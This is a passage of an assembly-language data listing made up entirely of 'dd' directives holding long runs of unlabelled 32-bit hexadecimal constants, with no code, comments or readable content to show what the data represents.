0DE00D1CCh, 1C0EBF4Dh, 0A4D8B1h, 0E69872DBh, 0C9F1EE1Ah dd 7A18DF03h, 0B09BBE31h, 1DE0D63Ah, 2E51CBCh, 0DA94BB5Dh dd 5A3AC458h, 62170355h, 3A1CF781h, 137BEA08h, 5D9A7B3Eh dd 0A15DC94Ch, 0C024E841h, 0E0EAD27Ah, 0ED887907h, 58B10792h dd 4DCC1516h, 6BE200ECh, 3C757AF1h, 0E600233Eh, 54E16233h dd 3EA19555h, 4B006014h, 179E8E6Dh, 0E60FA01Dh, 40FC0192h dd 0F708D544h, 0CF8D30A3h, 813A1DA8h, 599B83Ah, 254FAA1h dd 364808h, 4F03E1FBh, 0F60B812Ah, 0A0A21A54h, 7A084C58h dd 783E282Dh, 0F13D0068h, 9E4F5358h, 6607D524h, 0A05834Ch dd 0F9497CA0h, 3F4E00CFh, 55268B0Eh, 6374DF99h, 96237601h dd 1E869272h, 3A2114DCh, 0F000D462h, 89C98A04h, 41FA68E0h dd 0E5A63Ah, 88E2CE25h, 240F2h, 102C6FCCh, 0F36360D0h dd 302EC409h, 0A9910A38h, 1D451401h, 99D8BBDBh, 0A5B81F5Bh dd 0CA9C0B2h, 17AE0FECh, 0CF79ED0Fh, 968380ABh, 48C01A34h dd 91006B9Dh, 7F5E84EAh, 3701307Ah, 0C841B1D6h, 0E160BE86h dd 9BCA0003h, 71AFF250h, 0C670B6CCh, 6C94B454h, 39C8EB0Dh dd 40F11ADh, 28C503B7h, 82A51000h, 23A3CB1Ch, 57321725h dd 7360055h, 245D9954h, 0CB4C5007h, 291C22A6h, 1E3144D1h dd 28DC3998h, 44B5C43Ch, 2284BD20h, 0EC422DE4h, 0E923447Bh dd 54EB2284h, 0CA8BC875h, 40152429h, 75E54E8Bh, 52EB0B1Fh dd 0F4808DBFh, 51FE255Bh, 0ED8ABA04h, 89C074ECh, 0A722AEh dd 72320BDAh, 0AA5FD2EBh, 36173307h, 0BA27D16Ch, 34223B40h dd 0AF03032Fh, 0A30578AEh, 933F5FB8h, 6C1C2EFCh, 98F1F6Eh dd 0F6CA204Bh, 6FA0DFh, 18B26DD8h, 530660Dh, 0C69A6800h dd 75B0CEF9h, 471A002Ch, 9C7F7E2Ah, 62075779h, 580EC07Ch dd 1F3353h, 23F28741h, 8EE38FADh, 56D49900h, 49B73237h dd 355F4805h, 0D3F22A00h, 6662FC84h, 0E20077B8h, 1576282Eh dd 3E2C1C83h, 0AE81429Dh, 0A9D9C24Ah, 8719836Eh, 0C1F8F527h dd 0B4E82AC7h, 0F16D5BC3h, 0B9F640BCh, 0C922C28h, 0DB4D6200h dd 23CBA3DDh, 67C2095Dh, 73000EA0h, 2DADB02Bh, 95D2290Fh dd 3EA4002Ah, 87E750h, 35C8F6B5h, 0C061DAFFh, 0AAAFB200h dd 53556DE0h, 0DD0F0726h, 300558B5h, 2C13D288h, 0B3E56400h dd 0C9FEFC40h, 0A5D0C0CAh, 0B28E7F9Ah, 0FAB48600h, 0B95FBF01h dd 0D1C305C1h, 0D04A7153h, 4429C050h, 0EC49400Bh, 7EC500A6h dd 32A2DD1h, 6F2F38E0h, 80DFCC7Dh, 0DE5F7B94h, 8566100h dd 9A1F1481h, 0FAA202C1h, 650AB8C6h, 0F3F846E3h, 0B226694Ch dd 1C00576Bh, 635B70A3h, 7290076Fh, 0E03F8E95h, 8276AD13h dd 1E188A60h, 2C23F7C4h, 5DED39h, 0FAA0A736h, 3500BC7Fh dd 0B9490B92h, 111F80Fh, 87C4E776h, 0CCF4F3B1h, 85004414h dd 7BA6EA47h, 0B6C065h, 0E027CCE4h, 282CF10Ah, 50748C0Fh dd 0CB55E0C5h, 77E1CDh, 0E4BB7DA8h, 869EF166h, 104CBC00h dd 3DF20CF0h, 45400F2Eh, 0C06E48E7h, 9807CAh, 0EA16CD1Eh dd 0C500BE99h, 18CB0302h, 18167E8h, 0CC1E05BAh, 0CF4A8517h dd 0A6566280h, 0A36FAE01h, 5CD9024Eh, 31B79D4h, 0C9CC4885h dd 16B81A19h, 421FB72Ch, 0A812E006h, 93FA3F00h, 1CD3CB56h dd 0CEAB3B03h, 0CFC00786h, 1BFDED54h, 0D9773500h, 0BDD23768h dd 6B193BDDh, 0A37A7500h, 613E0611h, 0DE8B8700h, 6EBEDF46h dd 6A6B0490h, 905E9799h, 0A62CCA50h, 2008C90h, 0E4F13A7h dd 12366A57h, 366FA18h, 9AC37174h, 0BD43BCA8h, 0A6774A00h dd 0F3A9A56Ah, 333414D6h, 6602EDCEh, 4FA222B7h, 39E50C8h dd 523A5D0Bh, 0BC928109h, 72E92DAh, 4F5C4EF8h, 8594C0BCh dd 1E0275AEh, 0F0E8EC00h, 1C161C3h, 6BECC5h, 0DABA41B2h dd 0C6F8BBDh, 4E390900h, 5B9FD5CEh, 201F4878h, 5150B700h dd 0F9C00D30h, 0A4FEDB00h, 589FF235h, 7F4400AFh, 8943EB1Ah dd 0B60010C5h, 0BFC8F5E3h, 3AEF1959h, 610018B9h, 98779D39h dd 5C28E645h, 0B7008C4Eh, 0C8462538h, 0BFAE8Eh, 1BE42CFAh dd 5CB5D7D3h, 2A535600h, 96126F13h, 0E384005Bh, 94FD1EE5h dd 2D004165h, 0F6C51788h, 23672Ch, 0D91333EFh, 0BC19E18Bh dd 0C1385D0Eh, 0A2D2A080h, 0CD6A83h, 0DB096F69h, 0A85ED173h dd 0E2796500h, 53E9C85Ah, 3A413F05h, 0BCD32289h, 10233880h dd 0B03956EFh, 25F61EEAh, 0EE58E900h, 3E2B9BEBh, 57AE012Ch dd 6F53033Dh, 7698A614h, 4C00E3A5h, 45AB6D6Eh, 3C50FB4h dd 0F165BD7Fh, 4ED8B583h, 1C00110Dh, 4A483B71h, 62506Fh dd 0CE1376DAh, 1195E1E4h, 7E718E00h, 0A425C245h, 833D013Ah dd 0D90DF54Ah, 66D04038h, 13E05E33h, 9C11E303h, 0E53EC552h dd 268C7FC0h, 0B56C39BEh, 0BCE5311Fh, 14DE0780h, 0F890C694h dd 0DD632500h, 0D35401DFh, 0BB4C39D1h, 1EF37702h, 0A460CCD2h dd 460164E3h, 300886C5h, 4860FFF4h, 8898B8h, 71954903h dd 9865B11Ch, 920081F0h, 4BBE4689h, 172378h, 0C006A162h dd 5F26CE0h, 7A12DA78h, 8840B4BAh, 0C261EA1Fh, 0AEF0052h dd 1915306Ch, 0A80027FCh, 1BF477BCh, 7553668h, 0DDB8D5E0h dd 7A4A70ABh, 8003E49h, 0FE48807Ch, 20ADDBh, 0A5038714h dd 97DD9C66h, 0B7885A00h, 0D0CC2A79h, 1D919861h, 0C0A75708h dd 0E6A1A363h, 30FCB731h dd 5D27F801h, 994DB492h, 3E6DF5E4h, 0D8980D54h, 617060D9h dd 0E80F5000h, 0C65E89E1h, 0B120579h, 0E0AE08h, 3B20DE24h dd 0E600D983h, 859CA2A8h, 0DFCAD788h, 257D81C0h, 81CB37E5h dd 645D4010h, 0C2106568h, 14DFE42h, 69007880h, 1AB00EB1h dd 1A7D42Dh, 1B53442Ch, 0CCE59C32h, 1D004803h, 7539F35Bh dd 1C23AE3h, 0A0CBE827h, 0EC74411Eh, 0A498934Ch, 0E44D48h dd 5C5FCA57h, 7EF8067Bh, 3AD73C5Dh, 711E6B3Fh, 7CDB4EB5h dd 0BE779EA3h, 924209E8h, 0C8003375h, 393176FFh, 0E86C73F1h dd 9A8800B2h, 0E4357169h, 0F20012BAh, 49FCF4CBh, 0E214051Ch dd 0BC53002Fh, 8BB097A5h, 780337B4h, 0FC774F9Ch, 10211D05h dd 52CC4018h, 298F3351h, 2898F200h, 7B403CE9h, 9CEA0079h dd 3D01B2C1h, 8271D9BAh, 2BCE216h, 0DEE72000h, 48F59A04h dd 4301BC53h, 0F4C8FF2Bh, 0D9942039h, 0E4A42126h, 7BE80600h dd 4C57B26Ch, 2C079135h, 461E7C13h, 14071865h, 93D53926h dd 0A1363110h, 0B70D0016h, 9E577603h, 10777F6h, 124FF380h dd 0FE805Ch, 3A09B7ADh, 0E6E725DFh, 0EACAB58h, 0E31AA108h dd 0B8B8ACFDh, 73A0B6F7h, 0A7F02h, 0A1EB44CFh, 5A03BB79h dd 0E9257B00h, 0FB77EA6Bh, 60B01Fh, 86E6A257h, 585F984Ah dd 81201300h, 0A178353Ah, 64E901BBh, 0EF9FEC7Eh, 6DAAFC36h dd 0C5296B1Fh, 805F0749h, 0B49E188Dh, 0F0BA97h, 0D4F49143h dd 0F22899Fh, 0CEA65400h, 0D9E437F0h, 39940025h, 84FD9224h dd 0D03D2187h, 2CEC8BD6h, 0B5582075h, 0B8F90Fh, 9769E78Eh dd 0FFEB1B82h, 2819FC00h, 4137AD35h, 68DF006Eh, 0A7F6B974h dd 42E2F16Fh, 5AA1D301h, 6CA0963h, 0AD0CA0EFh, 579603ABh dd 8E50B27Ch, 15ACAFB8h, 0B1F1C502h, 40FD4AA0h, 3D5B77B3h dd 9400711Ah, 0B6F6F05Ah, 30059BAh, 760F1123h, 4734CBh dd 0D2F17036h, 0C062FC9Bh, 6F7F162Ch, 23BA9D00h, 1C15D86h dd 0A1184FC7h, 6060C5FAh, 0A972EFACh, 9ABB8900h, 5BBA621Eh dd 0C18F07E1h, 0E0651621h, 9288F64Ch, 425C4B00h, 0F5FC67Bh dd 5B2F005Eh, 44C7867Dh, 0C501580Bh, 0FF50ED16h, 57FC343Bh dd 0A365139Bh, 0D3AB0087h, 83263756h, 75207E00h, 0E6140931h dd 0B4F01C4h, 6718AC3Fh, 0F3B45087h, 0A0003648h, 0EB3432B4h dd 0B802BB4Eh, 16630020h, 0B0272250h, 0C80129D7h, 48D11D62h dd 53618671h, 0C0F66DFCh, 2CF37A40h, 0FF00CE34h, 9AEB290Dh dd 48522F28h, 3808904Fh, 3F074906h, 0C7F0617Eh, 7CDAE9h dd 7A535C9Fh, 0E33E42E4h, 74ED6501h, 13F7FA35h, 5CB09820h dd 0D30FF0FFh, 32C018F4h, 8B91ECBFh, 0C62D8800h, 0D1CAE341h dd 232516A3h, 0DD80029h, 5FF02F1Bh, 0AB76B401h, 0C24215Dh dd 9B008C2Ch, 32ACDC3Fh, 4F009446h, 728934F9h, 5CB2F005h dd 8000849Eh, 0F835FBC0h, 9201F921h, 7E5B881h, 91E828FDh dd 0E6BF00BCh, 1AEE293Ch, 0E7055CABh, 0A2055B67h, 64EA10D0h dd 9C070025h, 8C7D9BFBh, 0B40090E2h, 2CA46934h, 108ED0h dd 4BCEC7E6h, 0BEAC2154h, 0E287520Eh, 5DE360C4h, 9031663Ch dd 0F1281CB8h, 994B4081h, 27143568h, 0DC00614Bh, 3C56184Dh dd 0FCB3023Bh, 0BE059F01h, 0A58F04E0h, 0E01F6F2h, 15841EE2h dd 13D47F5Fh, 0C873002Ah, 0E63DFA63h, 184CF743h, 9C030008h dd 0F9E92DA1h, 0D5BF0070h, 8D86B8C7h, 6563A9B0h, 98745D59h dd 198A1E2Ch, 882F71DEh, 5A0B703Eh, 17D9AF07h, 3680CF23h dd 7ACE1B6Ch, 115F012Eh, 6AC92999h, 0CC1CF42h, 97ADC41Ch dd 65649000h, 1874037Bh, 90B8B0h, 9F48E0A3h, 0D75BCAD1h dd 83048h, 821FDA4Fh, 0FC2AEEAh, 6BF6EC6Dh, 2479C814h dd 12F368FFh, 0EA3C004Eh, 0CD0DE49Eh, 109CD500h, 493E3FA6h dd 0DF9B248Ch, 0B9300094h, 6B57F797h, 0B710D10Eh, 0FBD6E0DBh dd 0DD2841h, 0B11B5D04h, 0ED6658C6h, 0EAA1AC00h, 700DB486h dd 5EBC3EAFh, 0C077D8E4h, 130F1554h, 2F1DF105h, 0F0932DCBh dd 0F0104CF2h, 5BE4A200h, 82152CD3h, 0F0498600h, 77CFA80Ch dd 349D1CABh, 25960073h, 1F1079EDh, 96EE0738h, 570080B4h dd 0CB9A8C20h, 658812B5h, 0FBBC0176h, 0F84623F6h, 7D0064D0h dd 6C93DCBDh, 3E0AF1h, 0B61F4E44h, 13CB2CEEh, 860B4A01h dd 0CBEE28Eh, 0FA682F20h, 0F15301A5h, 70837A80h, 5BED4063h dd 490050AFh, 0ED87DAE2h, 48085Ah, 0B0F01790h, 95889A5Ch dd 51103200h, 0FAE537FDh, 24A5F09Bh, 58AF89h, 0BD1DD833h dd 0B72F70Dh, 6073005h, 0F0C0C73Eh, 7BFB34D5h, 33693EDDh dd 2901D200h, 0F9B8EF75h, 55D9E001h, 0C34953D1h, 8807E03Ch dd 9343F55Bh, 0C8A809DEh, 533CED81h, 1C00CF3Ah, 0DF870DA1h dd 667C2CA0h, 126701ACh, 2C21C70Eh, 2F593E8Ch, 0CBC94020h dd 0DDC00FCh, 53053078h, 0C000B5A9h, 0A3DEF333h, 1EFAE8Bh dd 0BBB7D63h, 0E498A6F8h, 0D0392B6h, 22B702F1h, 4FCF812h dd 8760141h, 1DAA91ADh, 2FB080BEh, 0A40F0E6Ah, 1E62F4D2h dd 0C01CD7C6h, 101A7F42h, 0F200CCCFh, 33F3C42Eh, 30C324Bh dd 0B1AFD8C9h, 5F98F88Dh, 0EC0005B9h, 0BCDDD130h, 722D2533h dd 7C4000DCh, 49F04FA7h, 0A9487DD7h, 0BD017578h, 0E4640284h dd 25E4F510h, 1E990ED0h, 588023CDh, 0C2BB271h, 38102C0Bh dd 0BF5080B7h, 0DC4164h, 0E8FC187Eh, 0FB3BE3ABh, 0B26BF31Ch dd 0A35B3D03h, 0B416B0A4h, 0FFA603F2h, 46FB36ECh, 0BC81EEBAh dd 0F0A29F3Ah, 6000C401h, 906EF5CCh, 3EE041h, 32E67DE4h dd 0EC7F0992h, 0C2DBDF00h, 65919B9Dh, 2BAB037Ah, 6FE7E1AAh dd 84F4D0ADh, 6A3B2822h, 0DFA51313h, 25D42800h, 0FC4B468h dd 27546CFBh, 483AF0C0h, 48C09576h, 40B36EADh, 0AA051C53h dd 996D40BBh, 8993014Dh, 521A9B26h, 6726350Eh, 0D710B1CEh dd 2B7ACDh, 0BFB7D0CCh, 265DC2BEh, 0B0CFD518h, 0DA07D2h dd 37A6DE4Fh, 310A534Bh, 0B1DB7300h, 5451AD03h, 0E3401312h dd 0AFA00222h, 5C606E3Ah, 0F5003FFCh, 393B5C44h, 7C78A37Fh dd 2F941FD5h, 2600F817h, 0B48CBDEAh, 16001BC5h, 0E0EFFF0Bh dd 43E6E06h, 38F59087h, 3AB8A0C0h, 0D4003D7Eh, 65062EDh dd 580E65h, 0AB99C594h, 7E599E4Fh, 8021493Ch, 25AE44F3h dd 8313Bh, 0C2B87335h, 0D3B045E9h, 5897E402h, 435B1BCCh dd 0F4388800h, 0C25F006Ah, 0D76CB404h, 0D50F07F9h, 83DC2ECBh dd 0F3BBB278h, 0CF30172Fh, 24081FA9h, 22530010h, 0E4BF1F02h dd 7FB5603h, 0F81E7C83h, 3896A254h, 14020DB6h, 0B98A7304h dd 21130C40h, 1168172h, 7000B0F8h, 0A06DD43Bh, 0AC670036h dd 0F25F924Ah, 0CC055CA1h, 9925C67Fh, 31EDB001h, 67304BEBh dd 0B2EAF0h, 0F22E21D7h, 14E74432h, 335C2013h, 0C9021840h dd 95EE52h, 0F06C182h, 838C54CFh, 1BF8500h, 0E953C802h dd 0FC130076h, 0B2A25A66h, 4F00AF1Bh, 0A7273DFEh, 3A16FB5h dd 0C6DC850h, 880A261Eh, 0C8023E9Bh, 6795E600h, 135234CDh dd 321EAB4h, 84B69969h, 2E3C2488h, 3F56AB00h, 0CFCD37AAh dd 80F52662h, 0A01E185Ch, 8500F660h, 38C341Dh, 3A0D9E6h dd 0A6357F17h, 809D7A7Bh, 0AB55F67Ch, 1F2A1400h, 4B56E595h dd 0FB800E7h, 0F3BFCD04h, 50B7CE4h, 806C2D80h, 0F0D733E8h dd 7BC50431h, 0C06B2E18h, 5F24DA80h, 4CDF9C01h, 0C52F1E69h dd 399266C0h, 7801B575h, 0E7B88EABh, 146BD8C6h, 6DB97E03h dd 3E48768h, 0F269E228h dd 51D8277Ch, 0C0775679h, 7A605D02h, 0D89199C7h, 0B0DC22ACh dd 0F8945CA8h, 2EC64600h, 9CB9560Ah, 57810075h, 86594365h dd 4916086Fh, 0C41F4835h, 0F8508D80h, 2C1C23h, 0A043D554h dd 65D88B3Bh, 7D40DD00h, 1FABAFD3h, 1C8A30B8h, 0B68B0E28h dd 11152930h, 7F676611h, 704F1FB2h, 53903BBh, 0C888D129h dd 1816BE20h, 341CC222h, 380095D3h, 0D51F9ECBh, 0AAAD0035h dd 804A36ACh, 0E00DA66h, 0D13C451Dh, 48BDA397h, 290188A2h dd 44A5D28Bh, 268DF0E3h, 4ABF5B17h, 45F37080h, 6376FDh dd 0C3400E8Bh, 0E34D194Fh, 941AE800h, 0CF2D2952h, 1F1894C9h dd 8732C081h, 2A1BEFB5h, 263DC53Fh, 5600F092h, 0F646B9E3h dd 0FD1F00FEh, 40AFA17Eh, 0D800B269h, 0EA991ACCh, 848FE6h dd 1F9D3CE2h, 4FA24689h, 692B4A00h, 0DF79A3F5h, 8A71EB3h dd 68994082h, 4E163198h, 3626921Ch, 0D8D5E0CAh, 0F9CC9A00h dd 245F59Eh, 554CCEC2h, 14600920h, 2890A3C6h, 4F294200h dd 0F7716DEFh, 0D03A004Eh, 448262DEh, 0E8008DA2h, 2CF1FE7Ah dd 0CC5095h, 1DB27542h, 5709F66Ch, 3F3C3907h, 0D6211067h dd 0BC40D471h, 7DA48140h, 396200F6h, 0A67947DFh, 690002C8h dd 8042D238h, 68F9BBh, 9FED5FAEh, 0C41B2027h, 0FE596100h dd 0E5212A9Ch, 3B5B00C6h, 0EC4BBE5Ch, 0F400B490h, 4428E14Ch dd 81DFCFh, 0D4B3E7BAh, 1C7F1853h, 5C9B2000h, 0A9AD51AAh dd 39442C8Bh, 0F2B002A5h, 3CE0DA71h, 1E0714D0h, 0EBE80288h dd 0CFD2E6D0h, 97980011h, 84F48A05h, 0A716E07Ch, 5C0034B9h dd 0C8D5760Dh, 0FD3EC72h, 0BEB56BA4h, 54090C80h, 2C00FEA6h dd 0BAEE298Ah, 0FC518F33h, 0C23A0501h, 0C0EFB83Eh, 5BBE78ACh dd 0D728E400h, 520359DEh, 50FD71C0h, 0F4BA90A4h, 2A0D0908h dd 0E4007C51h, 42340F52h, 0CB30CD00h, 14B0EF5Fh, 0FC924893h dd 13E20075h, 0B9526E29h, 0D700DC2Ch, 8D6A7A37h, 2457B5F9h dd 808412B1h, 4EC910EEh, 55108827h, 30001E4Ch, 0FD2D3216h dd 0D201CD05h, 0BEC9E52Ah, 0EC304F64h, 2E273A37h, 44FBD780h dd 5A1D8B1Ah, 1371C20Ch, 7A9F2098h, 65C10740h, 0E0192433h dd 58A68A45h, 80662C00h, 0DDF4E56Fh, 0CA5E07E4h, 0C081767Dh dd 0D4DE67D0h, 8A3E5Ch, 21EC8C53h, 268BC8A8h, 129879A7h dd 0C09420BAh, 5C0F9FF5h, 4040C6C5h, 0A5777492h, 0E19B1BA8h dd 1FB85807h, 0FB006808h, 315088C5h, 19374B6h, 8016C084h dd 0F4A6533Eh, 1D00153Bh, 911BB7B3h, 383B2F8h, 0A0B1ED97h dd 8C06A11h, 4279D077h, 0D6375100h, 0CE6EF652h, 86190144h dd 0C5B23058h, 6264F49Bh, 6F3DD5E4h, 0DE5D8774h, 2CB0E2B7h dd 5ED8A571h, 0A5C004Dh, 0F758E58Fh, 0FB77C63Fh, 3C094E00h dd 189EC21h, 9D0D79C0h, 5E7B8CA0h, 2F0424D5h, 7DCF229Bh dd 0F84B4483h, 1ECA21EEh, 0DCBD7Ah, 4D9EAAC6h, 1A006A97h dd 829B4202h, 9039A48h, 813C06E7h, 0EB3D8400h, 2F013453h dd 7898DF33h, 3BFCE96Ah, 7C383B64h, 0AFA213h, 0F930EF84h dd 0FC0FDD0Dh, 0CE466562h, 0C168014h, 97118Fh, 0FD373B51h dd 0B34A68EAh, 0BD396707h, 263065A1h, 9D4E55h, 237CD69Ah dd 0FFCF0D71h, 9B124D00h, 8BE8F6AFh, 9FC80066h, 0EAE06741h dd 1800A17Ch, 49AD975Bh, 0E0F04CE6h, 0C7C5077Fh, 0C10EB2C3h dd 6B087995h, 3321CA0h, 577D1B8Ch, 94E03C90h, 8F48FEC0h dd 0B2BC00C9h, 0B5C7F06Ch, 2AAB00FFh, 0C8585013h, 6A09150Ah dd 8035E0BFh, 0D0943F85h, 9EEFC09h, 48C81A5Ch, 0EDF6F780h dd 260F31B8h, 0E1759525h, 0B33E3990h, 0BE1A80E7h, 813500DBh dd 0F253B44Dh, 3C00EE86h, 0E63A1176h, 8AF618h, 36C2974Bh dd 0D89C6ABCh, 8657903h, 0A87B174Eh, 0DB2AB1h, 0DC759105h dd 60CE29AAh, 4A409AC0h, 0C85F87Bh, 22DD61ACh, 0C4F0A970h dd 0DE0E5D0Eh, 58E7A7EFh, 20CBF600h, 9A7404h, 77067A3Fh dd 0D4E59D48h, 9894B800h, 0FCC7E47Ch, 0A92500DBh, 6A54DE86h dd 0B6000C79h, 6DD79408h, 461F16h, 2A2CF7E3h, 0CFA595BEh dd 5DAB9B03h, 0B8D3D718h, 0FA9A0DDh, 0D0B8175Eh, 80321FAh dd 0A4C0DEA2h, 30C21A27h, 0E09DECCCh, 3426307h, 25D08704h dd 62E0FFF4h, 0E0F3900Ch, 0B0010835h, 7E2A03EAh, 0A980B822h dd 9DCFB471h, 173BF0B7h, 0D301749Fh, 0DBFF314Fh, 1CF0BF9Eh dd 7959388Fh, 92032280h, 0EB102CAh, 924A21Eh, 9E649D00h dd 0DEEDEC6h, 26CFC872h, 9805EC80h, 2D27F14h, 0EF0B1F38h dd 2A01710Fh, 5C1354E4h, 0EE271100h, 14AFE06Ch, 64D072EFh dd 98057A3Fh, 656B1Dh, 8A405B24h, 99006D4Fh, 144EA43h dd 0E87724D1h, 0B0D5587Ch, 8068071Dh, 0A0A4DB56h, 4000EE5Fh dd 0F22A1DB7h, 71065789h, 0D0B00A5h, 114A9E5Bh, 0DD00E2BAh dd 0EC681F21h, 7FF4EFBh, 0A796F95Ch, 92DA91A5h, 7561ECF1h dd 0C18A900h, 1F24FDC8h, 6DE1E1Eh, 149AC099h, 0D8F079DAh dd 73411701h, 8D0257C5h, 2368C0h, 0FE48B877h, 0D3F50F1Ch dd 7E221F03h, 89C85A6Ah, 83C841FCh, 0FB62603h, 6CF130D5h dd 550F6411h, 9E24A4h, 0E8ABC1BDh, 942802D5h, 0FB9674A6h dd 188F9880h, 432B6BEh, 909328DCh, 4335A4h, 489D2809h dd 5E6B16A5h, 1840940Fh, 0A07F4093h, 50E382h, 6F72C70Eh dd 0A6ECC161h, 67F73403h, 0E3C40C21h, 82BCA3CAh, 17063F2h dd 163BDB58h, 0DC3C0EF8h, 560EBA4Ch, 47101BDFh, 7BD933h dd 3EFBA4B0h, 0A8D1C0B9h, 0F3BC3B48h, 0D8C4EB00h, 0BFD9AE70h dd 9D51838h, 0CB9D68EFh, 634C1000h, 7BC1D630h, 0D1F8CDh dd 7AC24A36h, 4996536Bh, 0CDDDF3Eh, 184D52B9h, 371819F5h dd 7BF468A9h, 2A80E0B0h, 84EB97h, 100F11C9h, 476BCA62h dd 9EAC2B01h, 0BD5D4832h, 6024D2DDh, 958D00F1h, 6CC58498h dd 31167B01h, 0F3001939h, 0BD2110A4h, 0DA9F0085h, 331A0D26h dd 0EB12B45Eh, 3D008C44h, 64BF6954h, 83E300A3h, 0B0040616h dd 6C03E7B2h, 5D7F0BCFh, 8A90C03Bh, 0AD4F0049h, 1674A9AEh dd 9B0047CBh, 260ED448h, 7D469E07h, 7EE50023h, 9495CA6Ch dd 58008BD6h, 0F4E0B049h, 794687h, 146F41E3h, 0F6BD90BEh dd 78F9C907h, 4930C2F1h, 8AD531h, 0CC79927Fh, 23AE66D6h dd 0FBEFD3Dh, 1656222Ah, 0C900F112h, 0E42798ACh, 0E77414h dd 2ECCA4EBh, 79D2ABF2h, 906348h, 0FD475B8Bh, 12887DE0h dd 0BC0872E8h, 0BC3E5Bh, 0FEE3747Bh, 0EEC2092Fh, 0D54000BEh dd 0C899BB86h, 5800E087h, 0CA6E7A63h, 34E517Eh, 595615A0h dd 7DE0D249h, 0A00D34Bh, 0A4C14492h, 0E71DD0h, 0AE547F97h dd 0FAA97C67h, 3B65C401h, 5201C18Eh, 4541994h, 69170CBAh dd 3ECC10D5h, 987EC48Ch, 0E3371CFh, 0F0BC10AFh, 48176D80h dd 28C4618Ah, 615EC72Eh, 0B10C103Bh, 118B1C11h, 7621C9D1h dd 51FE250Dh, 731482DAh, 22A224CBh, 243C8520h, 0CD581404h dd 0EA43CE48h, 0D879280Ah, 0CFA72250h, 4808BA42h, 0EC14B0D6h dd 0D2A21114h, 1116E611h, 0E0211F23h, 90977508h, 0FCD28612h dd 11B442A1h, 0FE309B71h, 575D7D29h, 7E6A8D00h, 6192A77Bh dd 60900035h, 91A4AE20h, 5A5C6C7Ch, 0C4007074h, 0BAE39E86h dd 7B2C567Eh, 26918D4h, 8CDA18BEh, 1600197Ah, 74534B18h dd 0E0B3F40Eh, 0F95D0303h, 0A567D233h, 8ABD85E8h, 17B20700h dd 1B658F5Ah, 0E09100E9h, 0C1F7A441h, 0C906D931h, 2BEBF03Eh dd 6FE231h, 0E1F2F82Ah dd 4FFCEEA9h, 35573601h, 0BCD726C4h, 0EB11720h, 0C69B98D1h dd 0EA0C01B3h, 0F06838B6h, 82718DA2h, 0B0518000h, 0F2E10233h dd 0D5670027h, 21509260h, 5800056Ah, 3F2F4B55h, 0CE32EDh dd 427223DDh, 0C2AF181Dh, 8E271712h, 0BDD69D00h, 3E90AD50h dd 0E700666Ah, 0A8631679h, 0A0097DB6h, 192FF86h, 8CE81A64h dd 2C2EE0h, 94190451h, 0CBF8F75h, 69B0A300h, 0D9FC6AA8h dd 7E7D0041h, 3B2E9DB3h, 0E8007F72h, 2506A962h, 9271C0h dd 9A0DEEB9h, 2E93ACA4h, 12AA2B00h, 22E71805h, 81660150h dd 902C8F64h, 0D762E447h, 3BBC761Fh, 0AC0069D2h, 88A46AF0h dd 70C40063h, 25628B0Ch, 913B6E77h, 19007CB6h, 0C9F8CFF7h dd 7F2FB0ABh, 7172B5h, 97F16D74h, 68FAB39Ah, 84E4ED00h dd 33AD2DEFh, 6FA600E0h, 6E6D0F02h, 5500288Fh, 2AB815BBh dd 0C5D74Bh, 2B8250A7h, 0BAE6BCC8h, 810C7DECh, 2051E0AAh dd 142A025Dh, 673476A6h, 45B4A490h, 0E8793000h, 6F850654h dd 92ADFA7Eh, 7AF9010Ch, 0E9788725h, 5F208059h, 0D6697092h dd 0AAC51888h, 581E2886h, 59441F00h, 4A56FCA8h, 0DF510019h dd 285BC13Dh, 0FD98C534h, 931CC207h, 8C50F35Fh, 5DD9A2h dd 0A15B7963h, 59B9F0B6h, 0EBEF200h, 5E2485C9h, 0F33A006Bh dd 0BD7768A4h, 337530FCh, 0A2A19400h, 30AEF3Dh, 0F7DA00CCh dd 2384B17Bh, 8700BF17h, 0C2B297B8h, 7208643Ah, 46F0ADh dd 0A4F2E9B5h, 0F9BD2FC4h, 0C5286E00h, 0E63BE270h, 22FB00A7h dd 6671E9CAh, 151D324Bh, 6EC05AF0h, 0F1133D29h, 6B90BCBh dd 0DD006D54h, 41764E4h, 0D3C6D500h, 8504725h, 5AC228A8h dd 0B06F07ACh, 0F00C62E3h, 0E015285Fh, 522A9800h, 3460A3EAh dd 588100DAh, 272E73Fh, 45004C82h, 447BAE51h, 27C2B57h dd 0DCBBA0A6h, 4C0BDDEh, 0F600B9D0h, 5D6595D5h, 9DC7E6h dd 949A9C24h, 98C6EB52h, 61D6F500h, 3B7B1A14h, 866A0F2Fh dd 78007F4Bh, 8D354A3Ah, 0F5275301h, 44AB54C0h, 73772C30h dd 0B2F400B0h, 10C1FA0Ah, 3600DDB1h, 0B94776B3h, 1F2AE499h dd 7D2A705h, 103CFEDFh, 50B8E5C4h, 468B7B00h, 0C3A23692h dd 595A3F88h, 1CF70175h, 7F11B0BCh, 9B8CF425h, 4AD8680Eh dd 0C7C56013h, 88CD30h, 1FD9831Dh, 808B8C17h, 7E4E790Eh dd 0A46F82A2h, 8AA840FCh, 359001A3h, 804F4052h, 6A1BF8C9h dd 2C994Ch, 0ACBB2639h, 3BBC1F3Ah, 7A1624D7h, 2EAC4073h dd 65B536ECh, 0A4881C00h, 267CEE1Ah, 667D00E5h, 4C0B103Dh dd 8A00BE2Ah, 6AA1CEBFh, 3041D9Dh, 9A9B7209h, 0D2C820A3h dd 9926429Ch, 138360FAh, 125C54Ah, 3B665538h, 0E871BF0Ah dd 350FD47Bh, 56D5C751h, 30E5F401h, 19813B85h, 184A9687h dd 0E414C8A7h, 0BC03A300h, 0BE44C2CEh, 414E1C70h, 0F39480D2h dd 0A8ABA9AAh, 0A6C0DE02h, 63A2234Bh, 3A29E8BCh, 59F71222h dd 94D210B2h, 4986E501h, 0C021A584h, 700833Ah, 0E2DFCDFCh dd 0BE699Eh, 2F02F041h, 0F6DD921h, 0DB072900h, 378DC0B5h dd 0A470023Bh, 3FF32E40h, 0FB806C63h, 0F0BEA1Ch, 8095E2E7h dd 0DAD1D6DEh, 96E504DBh, 80D70823h, 0D8690A04h, 88B1FC0Fh dd 0C0B9C029h, 32DE9h, 0EA74CEDEh, 6932DAB2h, 0CB047F90h dd 608AEDE5h, 41938CD0h, 777D00EFh, 5BC07FAh, 0EAF61B84h dd 17092BF2h, 0DC1AE9h, 0BD80971Ch, 39180096h, 94588D70h dd 5500CB3Eh, 0D3E804B7h, 3FF92B98h, 9580A665h, 181AEC4Ch dd 4000907Ah, 0F6967710h, 1DA0B22h, 0DDE43D97h, 0C2C9E821h dd 